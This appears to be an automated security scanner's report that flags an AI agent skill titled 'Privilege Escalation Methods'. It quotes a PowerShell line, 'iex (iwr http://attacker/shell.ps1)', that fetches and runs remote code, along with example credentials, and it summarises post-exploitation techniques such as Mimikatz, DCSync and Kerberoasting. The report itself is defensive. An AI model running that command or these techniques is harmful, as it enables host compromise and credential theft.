Privilege Escalation Methods

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The prompt includes many commands and examples that embed plaintext credentials, passwords, NTLM hashes, and tokens (e.g., user:password, Password123, /rc4:, "net user Administrator Password!@#"), which would require the model to accept and output secret values verbatim.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). The presence of a direct PowerShell script URL (http://attacker/shell.ps1) from an untrusted/placeholder domain is a strong indicator of malicious distribution (while https://facebook.com is legitimate, it can be used as a lure), so the overall set is suspicious due to the direct .ps1 download from an untrusted host.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This content is explicitly a step-by-step post‑exploitation playbook that instructs on privilege escalation, credential theft, persistence, and remote code execution (Mimikatz, DCSync/NTDS exfiltration, Kerberoasting, NTLM relays, scheduled tasks pulling remote payloads, SUID/cron/NFS abuse), and thus demonstrates deliberate malicious intent and high-risk abuse patterns.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill contains a scheduled-task example that runs PowerShell with "iex (iwr http://attacker/shell.ps1)", which at runtime fetches and immediately executes remote code from http://attacker/shell.ps1.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs the agent to perform privilege escalation (e.g., setuid binaries, chmod +s, modify cron/system services, create scheduled tasks and new users, load drivers, extract credentials and create persistence), which directly modifies system state and encourages compromising the host.